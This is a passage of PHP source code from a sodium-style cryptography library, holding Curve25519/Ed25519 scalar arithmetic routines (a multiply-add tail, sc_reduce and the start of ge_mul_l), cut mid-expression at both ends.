4)) >> 4); $a5 = 2097151 & (self::load_3(self::substr($a, 13, 3)) >> 1); $a6 = 2097151 & (self::load_4(self::substr($a, 15, 4)) >> 6); $a7 = 2097151 & (self::load_3(self::substr($a, 18, 3)) >> 3); $a8 = 2097151 & self::load_3(self::substr($a, 21, 3)); $a9 = 2097151 & (self::load_4(self::substr($a, 23, 4)) >> 5); $a10 = 2097151 & (self::load_3(self::substr($a, 26, 3)) >> 2); $a11 = (self::load_4(self::substr($a, 28, 4)) >> 7); $b0 = 2097151 & self::load_3(self::substr($b, 0, 3)); $b1 = 2097151 & (self::load_4(self::substr($b, 2, 4)) >> 5); $b2 = 2097151 & (self::load_3(self::substr($b, 5, 3)) >> 2); $b3 = 2097151 & (self::load_4(self::substr($b, 7, 4)) >> 7); $b4 = 2097151 & (self::load_4(self::substr($b, 10, 4)) >> 4); $b5 = 2097151 & (self::load_3(self::substr($b, 13, 3)) >> 1); $b6 = 2097151 & (self::load_4(self::substr($b, 15, 4)) >> 6); $b7 = 2097151 & (self::load_3(self::substr($b, 18, 3)) >> 3); $b8 = 2097151 & self::load_3(self::substr($b, 21, 3)); $b9 = 2097151 & (self::load_4(self::substr($b, 23, 4)) >> 5); $b10 = 2097151 & (self::load_3(self::substr($b, 26, 3)) >> 2); $b11 = (self::load_4(self::substr($b, 28, 4)) >> 7); $c0 = 2097151 & self::load_3(self::substr($c, 0, 3)); $c1 = 2097151 & (self::load_4(self::substr($c, 2, 4)) >> 5); $c2 = 2097151 & (self::load_3(self::substr($c, 5, 3)) >> 2); $c3 = 2097151 & (self::load_4(self::substr($c, 7, 4)) >> 7); $c4 = 2097151 & (self::load_4(self::substr($c, 10, 4)) >> 4); $c5 = 2097151 & (self::load_3(self::substr($c, 13, 3)) >> 1); $c6 = 2097151 & (self::load_4(self::substr($c, 15, 4)) >> 6); $c7 = 2097151 & (self::load_3(self::substr($c, 18, 3)) >> 3); $c8 = 2097151 & self::load_3(self::substr($c, 21, 3)); $c9 = 2097151 & (self::load_4(self::substr($c, 23, 4)) >> 5); $c10 = 2097151 & (self::load_3(self::substr($c, 26, 3)) >> 2); $c11 = (self::load_4(self::substr($c, 28, 4)) >> 7); /* Can't really avoid the pyramid here: */ $s0 = $c0 + self::mul($a0, $b0, 24); $s1 = $c1 + self::mul($a0, $b1, 24) + self::mul($a1, $b0, 24); $s2 = $c2 + self::mul($a0, $b2, 24) + self::mul($a1, $b1, 24) + self::mul($a2, $b0, 24); $s3 = $c3 + self::mul($a0, $b3, 24) + self::mul($a1, $b2, 24) + self::mul($a2, $b1, 24) + self::mul($a3, $b0, 24); $s4 = $c4 + self::mul($a0, $b4, 24) + self::mul($a1, $b3, 24) + self::mul($a2, $b2, 24) + self::mul($a3, $b1, 24) + self::mul($a4, $b0, 24); $s5 = $c5 + self::mul($a0, $b5, 24) + self::mul($a1, $b4, 24) + self::mul($a2, $b3, 24) + self::mul($a3, $b2, 24) + self::mul($a4, $b1, 24) + self::mul($a5, $b0, 24); $s6 = $c6 + self::mul($a0, $b6, 24) + self::mul($a1, $b5, 24) + self::mul($a2, $b4, 24) + self::mul($a3, $b3, 24) + self::mul($a4, $b2, 24) + self::mul($a5, $b1, 24) + self::mul($a6, $b0, 24); $s7 = $c7 + self::mul($a0, $b7, 24) + self::mul($a1, $b6, 24) + self::mul($a2, $b5, 24) + self::mul($a3, $b4, 24) + self::mul($a4, $b3, 24) + self::mul($a5, $b2, 24) + self::mul($a6, $b1, 24) + self::mul($a7, $b0, 24); $s8 = $c8 + self::mul($a0, $b8, 24) + self::mul($a1, $b7, 24) + self::mul($a2, $b6, 24) + self::mul($a3, $b5, 24) + self::mul($a4, $b4, 24) + self::mul($a5, $b3, 24) + self::mul($a6, $b2, 24) + self::mul($a7, $b1, 24) + self::mul($a8, $b0, 24); $s9 = $c9 + self::mul($a0, $b9, 24) + self::mul($a1, $b8, 24) + self::mul($a2, $b7, 24) + self::mul($a3, $b6, 24) + self::mul($a4, $b5, 24) + self::mul($a5, $b4, 24) + self::mul($a6, $b3, 24) + self::mul($a7, $b2, 24) + self::mul($a8, $b1, 24) + self::mul($a9, $b0, 24); $s10 = $c10 + self::mul($a0, $b10, 24) + self::mul($a1, $b9, 24) + self::mul($a2, $b8, 24) + self::mul($a3, $b7, 24) + self::mul($a4, $b6, 24) + self::mul($a5, $b5, 24) + self::mul($a6, $b4, 24) + self::mul($a7, $b3, 24) + self::mul($a8, $b2, 24) + self::mul($a9, $b1, 24) + self::mul($a10, $b0, 24); $s11 = $c11 + self::mul($a0, $b11, 24) + self::mul($a1, $b10, 24) + self::mul($a2, $b9, 24) + self::mul($a3, $b8, 24) + self::mul($a4, $b7, 24) + self::mul($a5, $b6, 24) + self::mul($a6, $b5, 24) + self::mul($a7, $b4, 24) + self::mul($a8, $b3, 24) + self::mul($a9, $b2, 24) + self::mul($a10, $b1, 24) + self::mul($a11, $b0, 24); $s12 = self::mul($a1, $b11, 24) + self::mul($a2, $b10, 24) + self::mul($a3, $b9, 24) + self::mul($a4, $b8, 24) + self::mul($a5, $b7, 24) + self::mul($a6, $b6, 24) + self::mul($a7, $b5, 24) + self::mul($a8, $b4, 24) + self::mul($a9, $b3, 24) + self::mul($a10, $b2, 24) + self::mul($a11, $b1, 24); $s13 = self::mul($a2, $b11, 24) + self::mul($a3, $b10, 24) + self::mul($a4, $b9, 24) + self::mul($a5, $b8, 24) + self::mul($a6, $b7, 24) + self::mul($a7, $b6, 24) + self::mul($a8, $b5, 24) + self::mul($a9, $b4, 24) + self::mul($a10, $b3, 24) + self::mul($a11, $b2, 24); $s14 = self::mul($a3, $b11, 24) + self::mul($a4, $b10, 24) + self::mul($a5, $b9, 24) + self::mul($a6, $b8, 24) + self::mul($a7, $b7, 24) + self::mul($a8, $b6, 24) + self::mul($a9, $b5, 24) + self::mul($a10, $b4, 24) + self::mul($a11, $b3, 24); $s15 = self::mul($a4, $b11, 24) + self::mul($a5, $b10, 24) + self::mul($a6, $b9, 24) + self::mul($a7, $b8, 24) + self::mul($a8, $b7, 24) + self::mul($a9, $b6, 24) + self::mul($a10, $b5, 24) + self::mul($a11, $b4, 24); $s16 = self::mul($a5, $b11, 24) + self::mul($a6, $b10, 24) + self::mul($a7, $b9, 24) + self::mul($a8, $b8, 24) + self::mul($a9, $b7, 24) + self::mul($a10, $b6, 24) + self::mul($a11, $b5, 24); $s17 = self::mul($a6, $b11, 24) + self::mul($a7, $b10, 24) + self::mul($a8, $b9, 24) + self::mul($a9, $b8, 24) + self::mul($a10, $b7, 24) + self::mul($a11, $b6, 24); $s18 = self::mul($a7, $b11, 24) + self::mul($a8, $b10, 24) + self::mul($a9, $b9, 24) + self::mul($a10, $b8, 24) + self::mul($a11, $b7, 24); $s19 = self::mul($a8, $b11, 24) + self::mul($a9, $b10, 24) + self::mul($a10, $b9, 24) + self::mul($a11, $b8, 24); $s20 = self::mul($a9, $b11, 24) + self::mul($a10, $b10, 24) + self::mul($a11, $b9, 24); $s21 = self::mul($a10, $b11, 24) + self::mul($a11, $b10, 24); $s22 = self::mul($a11, $b11, 24); $s23 = 0; $carry0 = ($s0 + (1 << 20)) >> 21; $s1 += $carry0; $s0 -= $carry0 << 21; $carry2 = ($s2 + (1 << 20)) >> 21; $s3 += $carry2; $s2 -= $carry2 << 21; $carry4 = ($s4 + (1 << 20)) >> 21; $s5 += $carry4; $s4 -= $carry4 << 21; $carry6 = ($s6 + (1 << 20)) >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; $carry8 = ($s8 + (1 << 20)) >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; $carry10 = ($s10 + (1 << 20)) >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; $carry12 = ($s12 + (1 << 20)) >> 21; $s13 += $carry12; $s12 -= $carry12 << 21; $carry14 = ($s14 + (1 << 20)) >> 21; $s15 += $carry14; $s14 -= $carry14 << 21; $carry16 = ($s16 + (1 << 20)) >> 21; $s17 += $carry16; $s16 -= $carry16 << 21; $carry18 = ($s18 + (1 << 20)) >> 21; $s19 += $carry18; $s18 -= $carry18 << 21; $carry20 = ($s20 + (1 << 20)) >> 21; $s21 += $carry20; $s20 -= $carry20 << 21; $carry22 = ($s22 + (1 << 20)) >> 21; $s23 += $carry22; $s22 -= $carry22 << 21; $carry1 = ($s1 + (1 << 20)) >> 21; $s2 += $carry1; $s1 -= $carry1 << 21; $carry3 = ($s3 + (1 << 20)) >> 21; $s4 += $carry3; $s3 -= $carry3 << 21; $carry5 = ($s5 + (1 << 20)) >> 21; $s6 += $carry5; $s5 -= $carry5 << 21; $carry7 = ($s7 + (1 << 20)) >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; $carry9 = ($s9 + (1 << 20)) >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; $carry11 = ($s11 + (1 << 20)) >> 21; $s12 += $carry11; $s11 -= $carry11 << 21; $carry13 = ($s13 + (1 << 20)) >> 21; $s14 += $carry13; $s13 -= $carry13 << 21; $carry15 = ($s15 + (1 << 20)) >> 21; $s16 += $carry15; $s15 -= $carry15 << 21; $carry17 = ($s17 + (1 << 20)) >> 21; $s18 += $carry17; $s17 -= $carry17 << 21; $carry19 = ($s19 + (1 << 20)) >> 21; $s20 += $carry19; $s19 -= $carry19 << 21; $carry21 = ($s21 + (1 << 20)) >> 21; $s22 += $carry21; $s21 -= $carry21 << 21; $s11 += self::mul($s23, 666643, 20); $s12 += self::mul($s23, 470296, 19); $s13 += self::mul($s23, 654183, 20); $s14 -= self::mul($s23, 997805, 20); $s15 += self::mul($s23, 136657, 18); $s16 -= self::mul($s23, 683901, 20); $s10 += self::mul($s22, 666643, 20); $s11 += self::mul($s22, 470296, 19); $s12 += self::mul($s22, 654183, 20); $s13 -= self::mul($s22, 997805, 20); $s14 += self::mul($s22, 136657, 18); $s15 -= self::mul($s22, 683901, 20); $s9 += self::mul($s21, 666643, 20); $s10 += self::mul($s21, 470296, 19); $s11 += self::mul($s21, 654183, 20); $s12 -= self::mul($s21, 997805, 20); $s13 += self::mul($s21, 136657, 18); $s14 -= self::mul($s21, 683901, 20); $s8 += self::mul($s20, 666643, 20); $s9 += self::mul($s20, 470296, 19); $s10 += self::mul($s20, 654183, 20); $s11 -= self::mul($s20, 997805, 20); $s12 += self::mul($s20, 136657, 18); $s13 -= self::mul($s20, 683901, 20); $s7 += self::mul($s19, 666643, 20); $s8 += self::mul($s19, 470296, 19); $s9 += self::mul($s19, 654183, 20); $s10 -= self::mul($s19, 997805, 20); $s11 += self::mul($s19, 136657, 18); $s12 -= self::mul($s19, 683901, 20); $s6 += self::mul($s18, 666643, 20); $s7 += self::mul($s18, 470296, 19); $s8 += self::mul($s18, 654183, 20); $s9 -= self::mul($s18, 997805, 20); $s10 += self::mul($s18, 136657, 18); $s11 -= self::mul($s18, 683901, 20); $carry6 = ($s6 + (1 << 20)) >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; $carry8 = ($s8 + (1 << 20)) >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; $carry10 = ($s10 + (1 << 20)) >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; $carry12 = ($s12 + (1 << 20)) >> 21; $s13 += $carry12; $s12 -= $carry12 << 21; $carry14 = ($s14 + (1 << 20)) >> 21; $s15 += $carry14; $s14 -= $carry14 << 21; $carry16 = ($s16 + (1 << 20)) >> 21; $s17 += $carry16; $s16 -= $carry16 << 21; $carry7 = ($s7 + (1 << 20)) >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; $carry9 = ($s9 + (1 << 20)) >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; $carry11 = ($s11 + (1 << 20)) >> 21; $s12 += $carry11; $s11 -= $carry11 << 21; $carry13 = ($s13 + (1 << 20)) >> 21; $s14 += $carry13; $s13 -= $carry13 << 21; $carry15 = ($s15 + (1 << 20)) >> 21; $s16 += $carry15; $s15 -= $carry15 << 21; $s5 += self::mul($s17, 666643, 20); $s6 += self::mul($s17, 470296, 19); $s7 += self::mul($s17, 654183, 20); $s8 -= self::mul($s17, 997805, 20); $s9 += self::mul($s17, 136657, 18); $s10 -= self::mul($s17, 683901, 20); $s4 += self::mul($s16, 666643, 20); $s5 += self::mul($s16, 470296, 19); $s6 += self::mul($s16, 654183, 20); $s7 -= self::mul($s16, 997805, 20); $s8 += self::mul($s16, 136657, 18); $s9 -= self::mul($s16, 683901, 20); $s3 += self::mul($s15, 666643, 20); $s4 += self::mul($s15, 470296, 19); $s5 += self::mul($s15, 654183, 20); $s6 -= self::mul($s15, 997805, 20); $s7 += self::mul($s15, 136657, 18); $s8 -= self::mul($s15, 683901, 20); $s2 += self::mul($s14, 666643, 20); $s3 += self::mul($s14, 470296, 19); $s4 += self::mul($s14, 654183, 20); $s5 -= self::mul($s14, 997805, 20); $s6 += self::mul($s14, 136657, 18); $s7 -= self::mul($s14, 683901, 20); $s1 += self::mul($s13, 666643, 20); $s2 += self::mul($s13, 470296, 19); $s3 += self::mul($s13, 654183, 20); $s4 -= self::mul($s13, 997805, 20); $s5 += self::mul($s13, 136657, 18); $s6 -= self::mul($s13, 683901, 20); $s0 += self::mul($s12, 666643, 20); $s1 += self::mul($s12, 470296, 19); $s2 += self::mul($s12, 654183, 20); $s3 -= self::mul($s12, 997805, 20); $s4 += self::mul($s12, 136657, 18); $s5 -= self::mul($s12, 683901, 20); $s12 = 0; $carry0 = ($s0 + (1 << 20)) >> 21; $s1 += $carry0; $s0 -= $carry0 << 21; $carry2 = ($s2 + (1 << 20)) >> 21; $s3 += $carry2; $s2 -= $carry2 << 21; $carry4 = ($s4 + (1 << 20)) >> 21; $s5 += $carry4; $s4 -= $carry4 << 21; $carry6 = ($s6 + (1 << 20)) >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; $carry8 = ($s8 + (1 << 20)) >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; $carry10 = ($s10 + (1 << 20)) >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; $carry1 = ($s1 + (1 << 20)) >> 21; $s2 += $carry1; $s1 -= $carry1 << 21; $carry3 = ($s3 + (1 << 20)) >> 21; $s4 += $carry3; $s3 -= $carry3 << 21; $carry5 = ($s5 + (1 << 20)) >> 21; $s6 += $carry5; $s5 -= $carry5 << 21; $carry7 = ($s7 + (1 << 20)) >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; $carry9 = ($s9 + (1 << 20)) >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; $carry11 = ($s11 + (1 << 20)) >> 21; $s12 += $carry11; $s11 -= $carry11 << 21; $s0 += self::mul($s12, 666643, 20); $s1 += self::mul($s12, 470296, 19); $s2 += self::mul($s12, 654183, 20); $s3 -= self::mul($s12, 997805, 20); $s4 += self::mul($s12, 136657, 18); $s5 -= self::mul($s12, 683901, 20); $s12 = 0; $carry0 = $s0 >> 21; $s1 += $carry0; $s0 -= $carry0 << 21; $carry1 = $s1 >> 21; $s2 += $carry1; $s1 -= $carry1 << 21; $carry2 = $s2 >> 21; $s3 += $carry2; $s2 -= $carry2 << 21; $carry3 = $s3 >> 21; $s4 += $carry3; $s3 -= $carry3 << 21; $carry4 = $s4 >> 21; $s5 += $carry4; $s4 -= $carry4 << 21; $carry5 = $s5 >> 21; $s6 += $carry5; $s5 -= $carry5 << 21; $carry6 = $s6 >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; $carry7 = $s7 >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; $carry8 = $s8 >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; $carry9 = $s9 >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; $carry10 = $s10 >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; $carry11 = $s11 >> 21; $s12 += $carry11; $s11 -= $carry11 << 21; $s0 += self::mul($s12, 666643, 20); $s1 += self::mul($s12, 470296, 19); $s2 += self::mul($s12, 654183, 20); $s3 -= self::mul($s12, 997805, 20); $s4 += self::mul($s12, 136657, 18); $s5 -= self::mul($s12, 683901, 20); $carry0 = $s0 >> 21; $s1 += $carry0; $s0 -= $carry0 << 21; $carry1 = $s1 >> 21; $s2 += $carry1; $s1 -= $carry1 << 21; $carry2 = $s2 >> 21; $s3 += $carry2; $s2 -= $carry2 << 21; $carry3 = $s3 >> 21; $s4 += $carry3; $s3 -= $carry3 << 21; $carry4 = $s4 >> 21; $s5 += $carry4; $s4 -= $carry4 << 21; $carry5 = $s5 >> 21; $s6 += $carry5; $s5 -= $carry5 << 21; $carry6 = $s6 >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; $carry7 = $s7 >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; $carry8 = $s8 >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; $carry9 = $s9 >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; $carry10 = $s10 >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; /** * @var array<int, int> */ $arr = array( (int) (0xff & ($s0 >> 0)), (int) (0xff & ($s0 >> 8)), (int) (0xff & (($s0 >> 16) | $s1 << 5)), (int) (0xff & ($s1 >> 3)), (int) (0xff & ($s1 >> 11)), (int) (0xff & (($s1 >> 19) | $s2 << 2)), (int) (0xff & ($s2 >> 6)), (int) (0xff & (($s2 >> 14) | $s3 << 7)), (int) (0xff & ($s3 >> 1)), (int) (0xff & ($s3 >> 9)), (int) (0xff & (($s3 >> 17) | $s4 << 4)), (int) (0xff & ($s4 >> 4)), (int) (0xff & ($s4 >> 12)), (int) (0xff & (($s4 >> 20) | $s5 << 1)), (int) (0xff & ($s5 >> 7)), (int) (0xff & (($s5 >> 15) | $s6 << 6)), (int) (0xff & ($s6 >> 2)), (int) (0xff & ($s6 >> 10)), (int) (0xff & (($s6 >> 18) | $s7 << 3)), (int) (0xff & ($s7 >> 5)), (int) (0xff & ($s7 >> 13)), (int) (0xff & ($s8 >> 0)), (int) (0xff & ($s8 >> 8)), (int) (0xff & (($s8 >> 16) | $s9 << 5)), (int) (0xff & ($s9 >> 3)), (int) (0xff & ($s9 >> 11)), (int) (0xff & (($s9 >> 19) | $s10 << 2)), (int) (0xff & ($s10 >> 6)), (int) (0xff & (($s10 >> 14) | $s11 << 7)), (int) (0xff & ($s11 >> 1)), (int) (0xff & ($s11 >> 9)), 0xff & ($s11 >> 17) ); return self::intArrayToString($arr); } /** * @internal You should not use this directly from another application * * @param string $s * @return string * @throws TypeError */ public static function sc_reduce($s) { $s0 = 2097151 & self::load_3(self::substr($s, 0, 3)); $s1 = 2097151 & (self::load_4(self::substr($s, 2, 4)) >> 5); $s2 = 2097151 & (self::load_3(self::substr($s, 5, 3)) >> 2); $s3 = 2097151 & (self::load_4(self::substr($s, 7, 4)) >> 7); $s4 = 2097151 & (self::load_4(self::substr($s, 10, 4)) >> 4); $s5 = 2097151 & (self::load_3(self::substr($s, 13, 3)) >> 1); $s6 = 2097151 & (self::load_4(self::substr($s, 15, 4)) >> 6); $s7 = 2097151 & (self::load_3(self::substr($s, 18, 4)) >> 3); $s8 = 2097151 & self::load_3(self::substr($s, 21, 3)); $s9 = 2097151 & (self::load_4(self::substr($s, 23, 4)) >> 5); $s10 = 2097151 & (self::load_3(self::substr($s, 26, 3)) >> 2); $s11 = 2097151 & (self::load_4(self::substr($s, 28, 4)) >> 7); $s12 = 2097151 & (self::load_4(self::substr($s, 31, 4)) >> 4); $s13 = 2097151 & (self::load_3(self::substr($s, 34, 3)) >> 1); $s14 = 2097151 & (self::load_4(self::substr($s, 36, 4)) >> 6); $s15 = 2097151 & (self::load_3(self::substr($s, 39, 4)) >> 3); $s16 = 2097151 & self::load_3(self::substr($s, 42, 3)); $s17 = 2097151 & (self::load_4(self::substr($s, 44, 4)) >> 5); $s18 = 2097151 & (self::load_3(self::substr($s, 47, 3)) >> 2); $s19 = 2097151 & (self::load_4(self::substr($s, 49, 4)) >> 7); $s20 = 2097151 & (self::load_4(self::substr($s, 52, 4)) >> 4); $s21 = 2097151 & (self::load_3(self::substr($s, 55, 3)) >> 1); $s22 = 2097151 & (self::load_4(self::substr($s, 57, 4)) >> 6); $s23 = 0x1fffffff & (self::load_4(self::substr($s, 60, 4)) >> 3); $s11 += self::mul($s23, 666643, 20); $s12 += self::mul($s23, 470296, 19); $s13 += self::mul($s23, 654183, 20); $s14 -= self::mul($s23, 997805, 20); $s15 += self::mul($s23, 136657, 18); $s16 -= self::mul($s23, 683901, 20); $s10 += self::mul($s22, 666643, 20); $s11 += self::mul($s22, 470296, 19); $s12 += self::mul($s22, 654183, 20); $s13 -= self::mul($s22, 997805, 20); $s14 += self::mul($s22, 136657, 18); $s15 -= self::mul($s22, 683901, 20); $s9 += self::mul($s21, 666643, 20); $s10 += self::mul($s21, 470296, 19); $s11 += self::mul($s21, 654183, 20); $s12 -= self::mul($s21, 997805, 20); $s13 += self::mul($s21, 136657, 18); $s14 -= self::mul($s21, 683901, 20); $s8 += self::mul($s20, 666643, 20); $s9 += self::mul($s20, 470296, 19); $s10 += self::mul($s20, 654183, 20); $s11 -= self::mul($s20, 997805, 20); $s12 += self::mul($s20, 136657, 18); $s13 -= self::mul($s20, 683901, 20); $s7 += self::mul($s19, 666643, 20); $s8 += self::mul($s19, 470296, 19); $s9 += self::mul($s19, 654183, 20); $s10 -= self::mul($s19, 997805, 20); $s11 += self::mul($s19, 136657, 18); $s12 -= self::mul($s19, 683901, 20); $s6 += self::mul($s18, 666643, 20); $s7 += self::mul($s18, 470296, 19); $s8 += self::mul($s18, 654183, 20); $s9 -= self::mul($s18, 997805, 20); $s10 += self::mul($s18, 136657, 18); $s11 -= self::mul($s18, 683901, 20); $carry6 = ($s6 + (1 << 20)) >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; $carry8 = ($s8 + (1 << 20)) >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; $carry10 = ($s10 + (1 << 20)) >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; $carry12 = ($s12 + (1 << 20)) >> 21; $s13 += $carry12; $s12 -= $carry12 << 21; $carry14 = ($s14 + (1 << 20)) >> 21; $s15 += $carry14; $s14 -= $carry14 << 21; $carry16 = ($s16 + (1 << 20)) >> 21; $s17 += $carry16; $s16 -= $carry16 << 21; $carry7 = ($s7 + (1 << 20)) >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; $carry9 = ($s9 + (1 << 20)) >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; $carry11 = ($s11 + (1 << 20)) >> 21; $s12 += $carry11; $s11 -= $carry11 << 21; $carry13 = ($s13 + (1 << 20)) >> 21; $s14 += $carry13; $s13 -= $carry13 << 21; $carry15 = ($s15 + (1 << 20)) >> 21; $s16 += $carry15; $s15 -= $carry15 << 21; $s5 += self::mul($s17, 666643, 20); $s6 += self::mul($s17, 470296, 19); $s7 += self::mul($s17, 654183, 20); $s8 -= self::mul($s17, 997805, 20); $s9 += self::mul($s17, 136657, 18); $s10 -= self::mul($s17, 683901, 20); $s4 += self::mul($s16, 666643, 20); $s5 += self::mul($s16, 470296, 19); $s6 += self::mul($s16, 654183, 20); $s7 -= self::mul($s16, 997805, 20); $s8 += self::mul($s16, 136657, 18); $s9 -= self::mul($s16, 683901, 20); $s3 += self::mul($s15, 666643, 20); $s4 += self::mul($s15, 470296, 19); $s5 += self::mul($s15, 654183, 20); $s6 -= self::mul($s15, 997805, 20); $s7 += self::mul($s15, 136657, 18); $s8 -= self::mul($s15, 683901, 20); $s2 += self::mul($s14, 666643, 20); $s3 += self::mul($s14, 470296, 19); $s4 += self::mul($s14, 654183, 20); $s5 -= self::mul($s14, 997805, 20); $s6 += self::mul($s14, 136657, 18); $s7 -= self::mul($s14, 683901, 20); $s1 += self::mul($s13, 666643, 20); $s2 += self::mul($s13, 470296, 19); $s3 += self::mul($s13, 654183, 20); $s4 -= self::mul($s13, 997805, 20); $s5 += self::mul($s13, 136657, 18); $s6 -= self::mul($s13, 683901, 20); $s0 += self::mul($s12, 666643, 20); $s1 += self::mul($s12, 470296, 19); $s2 += self::mul($s12, 654183, 20); $s3 -= self::mul($s12, 997805, 20); $s4 += self::mul($s12, 136657, 18); $s5 -= self::mul($s12, 683901, 20); $s12 = 0; $carry0 = ($s0 + (1 << 20)) >> 21; $s1 += $carry0; $s0 -= $carry0 << 21; $carry2 = ($s2 + (1 << 20)) >> 21; $s3 += $carry2; $s2 -= $carry2 << 21; $carry4 = ($s4 + (1 << 20)) >> 21; $s5 += $carry4; $s4 -= $carry4 << 21; $carry6 = ($s6 + (1 << 20)) >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; $carry8 = ($s8 + (1 << 20)) >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; $carry10 = ($s10 + (1 << 20)) >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; $carry1 = ($s1 + (1 << 20)) >> 21; $s2 += $carry1; $s1 -= $carry1 << 21; $carry3 = ($s3 + (1 << 20)) >> 21; $s4 += $carry3; $s3 -= $carry3 << 21; $carry5 = ($s5 + (1 << 20)) >> 21; $s6 += $carry5; $s5 -= $carry5 << 21; $carry7 = ($s7 + (1 << 20)) >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; $carry9 = ($s9 + (1 << 20)) >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; $carry11 = ($s11 + (1 << 20)) >> 21; $s12 += $carry11; $s11 -= $carry11 << 21; $s0 += self::mul($s12, 666643, 20); $s1 += self::mul($s12, 470296, 19); $s2 += self::mul($s12, 654183, 20); $s3 -= self::mul($s12, 997805, 20); $s4 += self::mul($s12, 136657, 18); $s5 -= self::mul($s12, 683901, 20); $s12 = 0; $carry0 = $s0 >> 21; $s1 += $carry0; $s0 -= $carry0 << 21; $carry1 = $s1 >> 21; $s2 += $carry1; $s1 -= $carry1 << 21; $carry2 = $s2 >> 21; $s3 += $carry2; $s2 -= $carry2 << 21; $carry3 = $s3 >> 21; $s4 += $carry3; $s3 -= $carry3 << 21; $carry4 = $s4 >> 21; $s5 += $carry4; $s4 -= $carry4 << 21; $carry5 = $s5 >> 21; $s6 += $carry5; $s5 -= $carry5 << 21; $carry6 = $s6 >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; $carry7 = $s7 >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; $carry8 = $s8 >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; $carry9 = $s9 >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; $carry10 = $s10 >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; $carry11 = $s11 >> 21; $s12 += $carry11; $s11 -= $carry11 << 21; $s0 += self::mul($s12, 666643, 20); $s1 += self::mul($s12, 470296, 19); $s2 += self::mul($s12, 654183, 20); $s3 -= self::mul($s12, 997805, 20); $s4 += self::mul($s12, 136657, 18); $s5 -= self::mul($s12, 683901, 20); $carry0 = $s0 >> 21; $s1 += $carry0; $s0 -= $carry0 << 21; $carry1 = $s1 >> 21; $s2 += $carry1; $s1 -= $carry1 << 21; $carry2 = $s2 >> 21; $s3 += $carry2; $s2 -= $carry2 << 21; $carry3 = $s3 >> 21; $s4 += $carry3; $s3 -= $carry3 << 21; $carry4 = $s4 >> 21; $s5 += $carry4; $s4 -= $carry4 << 21; $carry5 = $s5 >> 21; $s6 += $carry5; $s5 -= $carry5 << 21; $carry6 = $s6 >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; $carry7 = $s7 >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; $carry8 = $s8 >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; $carry9 = $s9 >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; $carry10 = $s10 >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; /** * @var array<int, int> */ $arr = array( (int) ($s0 >> 0), (int) ($s0 >> 8), (int) (($s0 >> 16) | $s1 << 5), (int) ($s1 >> 3), (int) ($s1 >> 11), (int) (($s1 >> 19) | $s2 << 2), (int) ($s2 >> 6), (int) (($s2 >> 14) | $s3 << 7), (int) ($s3 >> 1), (int) ($s3 >> 9), (int) (($s3 >> 17) | $s4 << 4), (int) ($s4 >> 4), (int) ($s4 >> 12), (int) (($s4 >> 20) | $s5 << 1), (int) ($s5 >> 7), (int) (($s5 >> 15) | $s6 << 6), (int) ($s6 >> 2), (int) ($s6 >> 10), (int) (($s6 >> 18) | $s7 << 3), (int) ($s7 >> 5), (int) ($s7 >> 13), (int) ($s8 >> 0), (int) ($s8 >> 8), (int) (($s8 >> 16) | $s9 << 5), (int) ($s9 >> 3), (int) ($s9 >> 11), (int) (($s9 >> 19) | $s10 << 2), (int) ($s10 >> 6), (int) (($s10 >> 14) | $s11 << 7), (int) ($s11 >> 1), (int) ($s11 >> 9), (int) $s11 >> 17 ); return self::intArrayToString($arr); } /** * multiply by the order of the main subgroup l = 2^252+27742317777372353535851937790883648493 * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3 */ public static function ge_mul_l(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A) { $aslide = array( 13, 0, 0, 0, 0, -1, 0, 0, 0, 0, -11, 0, 0, 0, 0, 0, 0, -5, 0, 0, 0, 0, 0, 0, -3, 0, 0, 0, 0, -13, 0, 0, 0, 0, 7, 0, 0, 0, 0, 0, 3, 0, 0, 0, 0, -13, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 11, 0, 0, 0, 0, 0, 11, 0, 0, 0, 0, -13, 0, 0, 0, 0, 0, 0, -3, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 3, 0, 0, 0, 0, -11, 0, 0, 0, 0, 0, 0, 0, 15, 0, 0, 0, 0, 0, -1, 